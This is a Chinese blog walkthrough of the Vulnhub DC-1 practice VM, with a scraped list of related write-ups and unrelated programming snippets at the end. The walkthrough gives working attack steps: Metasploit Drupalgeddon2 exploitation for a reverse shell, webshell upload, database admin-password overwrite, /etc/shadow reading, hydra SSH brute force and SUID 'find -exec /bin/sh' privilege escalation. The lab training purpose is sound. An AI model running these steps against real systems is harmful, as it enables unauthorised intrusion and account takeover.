简介

DC-1靶机是为了入门渗透测试的人准备的入门级的靶机,该靶机共有5个flag,其中最后一个finalflag是真的flag,其他都是提示性flag。这个靶机虽然简单,但是还是能学到一些基本的思路的。

接下来让我们畅玩DC-1靶机 。

配置

kali + DC-1,配置NAT模式。

信息搜集

nmap扫描

扫描网段

nmap -sP 192.168.146.0/24

详细扫描找到靶机

nmap -sV 192.168.146.139

可以看到开放了80端口,直接访问看看,看到是Drupal服务,直接上metasploit搜一下

漏洞扫描与验证

使用metasploit

search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
show options
set RHOSTS 192.168.146.139
exploit

成功利用漏洞,已经得到反弹shell

getFlag

flag1

flag1就在web根目录下,直接cat即可

shell		//meterpreter下
ls -a
cat flag1.txt

这是个提示的flag,意思是每个好cms都需要配置文件。

那有下一步思路了,就是找到配置文件。

搜索引擎查一下drupal的配置文件目录:/sites/default/settings.php

flag2

cd /sites/default
ls -a
cat settings.php | grep flag
head -n 20 settings.php //查看文件的前20行

刚刚没有扫出3306端口,再扫一下,3306是关闭的。无法远程登陆,那就是需要本地登陆了。

思路:上传webshell,使用蚁剑进行数据库管理。

flag3

web目录再/var/www,将webshell上传到此处,然后连接上



使用获得的数据库账号密码进行数据库的连接

看看user表,发现admin。这里就直接尝试使用update改管理员的密码,发现有权限!

update的密钥用下面这条链接的即可https://www.drupal.org/forum/support/post-installation/2011-11-19/changing-admin-password-in-database

password --- $S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4

然后直接admin,password登陆进去。点击上方菜单来的Content,就可以看到flag3



看到perm,马上想到下面的命令。估计是suid提权了。

find / -type f -perm -u=s

再往下看说到找密码,那就想到/etc/passwd和/etc/shadow

说-exec可以想到find有参数-exec可以执行系统命令。

flag4

cat /etc/passwd

cat /etc/shadow



没有权限直接读取密码。

没关系,可以尝试爆破

hydra -l flag4 -p pwd.txt ssh://192.168.146.139



爆破出flag4的密码是orange。

直接ssh连上就有flag4

ssh flag4@192.168.146.139



这里提示flag in root,那就是提权没得跑了

flag5

找一波suid文件



确实有find命令,再看看find命令的帮助。可以执行命令。

接下来执行命令读flag5把。

find flag4.txt -exec "whoami" \;
find flag4.txt -exec "/bin/sh" \;
cat /root/thefinalflag.txt



成功拿到最终的flag。

总结

该靶机确实是入门靶机,非常简单,每一步都提示,而且没有坑。

但是还是能学到部分东西,希望大家也一样。共勉。

接下来总结:常见的提权方式,并学习其用法。

Vulnhub DC-1靶机渗透的更多相关文章

  1. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  2. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  3. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  4. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  5. Vulnhub靶机渗透 -- DC5

    信息收集 通过nmap搜索到IP为:192.168.200.11 开启了80http.111RPC服务端口 先打开网页,然后进行目录爆破 contact.php 攻击 经搜索没有发现可以攻击wheel ...

  6. Vulnhub DC-9靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.147 #扫描端口等信息 22端口过滤,80端口开放,同样的从80端口入手. 不是现成 ...

  7. Vulnhub靶机渗透 -- DC6

    信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...

  8. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  9. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  10. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

随机推荐

  1. Array.isArray() 判断是不是数组

    var arr = new Array(); if(Array.isArray()){ console.log('yes') } else { conssole.log('no') }

  2. go源码分析(二) 使用go http包开发web时遇到的坑之重复注册Handle路由

    我们使用Handle注册http时 如果添加两行,即重复注册函数. http.HandleFunc("/",index) http.HandleFunc("/" ...

  3. asp.net core 3.x 微信小程序登录库(也可用于abp)

    视频教程(使用+实现原理):https://share.weiyun.com/57HKopT 建议直接看视频 源码地址:https://github.com/bxjg1987/abpGeneralMo ...

  4. ASP.NET Core应用的7种依赖注入方式

    ASP.NET Core框架中的很多核心对象都是通过依赖注入方式提供的,如用来对应用进行初始化的Startup对象.中间件对象,以及ASP.NET Core MVC应用中的Controller对象和V ...

  5. volatile 手摸手带你解析

    前言 volatile 是 Java 里的一个重要的指令,它是由 Java 虚拟机里提供的一个轻量级的同步机制.一个共享变量声明为 volatile 后,特别是在多线程操作时,正确使用 volatil ...

  6. Mol Cell Proteomics. | A Targeted Mass Spectrometry Strategy for Developing Proteomic Biomarkers: A Case Study of Epithelial Ovarian Cancer(利用靶向质谱策略进行上皮性卵巢癌病例的蛋白质组生物标志物研究) (解读人:王聚)

    文献名:利用靶向质谱策略进行上皮性卵巢癌病例的蛋白质组生物标志物研究 期刊名:Molecular & Cellular Proteomics 发表时间:(2019年7月) IF:5.41 单位 ...

  7. sleep()和wait()方法的区别

    1,sleep()声明在Thread类中,而且是静态方法: wait()声明在Object类中,而且必须由锁对象调用. 2,sleep()时间达到后恢复: wait()可以设置事件自动恢复,如果没有设 ...

  8. CentOS7设置环境变量

    目录 一.环境变量的概念 1.环境变量的含义 2.环境变量的分类 3.Linux环境变量 二.常用的环境变量 1.查看环境变量 2.常用的环境变量 三.设置环境量 1.系统环境变量 2.用户环境变量 ...

  9. hdu1226超级密码 bfs

    题目链接:http://icpc.njust.edu.cn/Problem/Hdu/1226/ 题目大意是:寻找一个五百位之内的C进制密码,该密码是N的正整数倍,而且只能用给定的数构成密码,求这样的密 ...

  10. github本地提交代码到远程仓库

    1.git工作状态: Workspace: 工作区  :等于平时放代码的地方 Index / Stage: 暂存区,临时存放你的改动,它只是一个文件,保存即将提交到文件列表信息 Repository: ...